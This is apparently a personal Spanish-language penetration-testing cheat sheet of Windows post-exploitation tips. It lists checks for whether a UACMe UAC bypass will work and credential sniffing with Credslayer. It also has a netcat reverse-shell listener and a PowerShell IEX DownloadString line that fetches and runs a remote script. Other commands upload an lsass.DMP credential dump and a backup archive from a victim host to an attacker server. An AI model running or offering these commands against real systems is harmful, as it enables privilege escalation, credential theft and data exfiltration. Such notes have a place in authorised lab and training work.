Consejos Útiles

Reutilizar Contraseñas SIEMPRE

Bypass UAC

Tengo que estar en el grupo Administrators. Cuando UACMe "no hace nada", casi siempre es porque tu token de administrador está siendo filtrado o UAC no está en la configuración esperada:
  • Paso: Qué comprobar — Comando — Esperado para UACMe OK
  • 1: Nivel de UAC — reg query HKLM\...\System /v ConsentPromptBehaviorAdmin — 0x5
  • 2: UAC activado — reg query HKLM\...\System /v EnableLUA — 0x1
  • 3: Restricción a sesiones remotas — reg query HKLM\...\System /v LocalAccountTokenFilterPolicy — No existe o 0x0 = filtrado activo (falla en RDP/WinRM)
  • 4: Tipo de sesión — echo %SESSIONNAME% — Console (local). Si RDP-Tcp#X, es remota y el token está filtrado

Analizar pcap y sacar creds en tiempo real

terminal
Credslayer <archivo>        # analizar archivosCredslayer -l INTERFACE     # esnifar tráfico

Hashcat

terminal
$ hashcat --identify <hash>   # indica el modo recomendado

Buscar en Windows

terminal
dir /S /B "C:\Edge*.*"

Reverse Shell (rlwrap)

terminal
sudo rlwrap nc -lvnp 443

Descargar archivo en Windows desde Linux

powershell
iwr -Uri "http://<IP-LINUX>:8080/archivo" -OutFile "C:\ruta\destino\archivo"

Pasar de Windows a Linux (UploadServer)

terminal
# En Linux$ python3 -m uploadserver
powershell
# En Windows
IEX(New-Object Net.WebClient).DownloadString('http://172.16.5.15:8080/PSUpload.ps1')
Invoke-FileUpload -Uri http://172.16.5.15:8000/upload -File .\lsass.DMP
# o con curl
curl.exe -X POST -F "files=@C:\Users\rhinkle\Downloads\Backup.zip" http://172.16.139.10:9090/upload

Problema "scripts disabled"

powershell
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser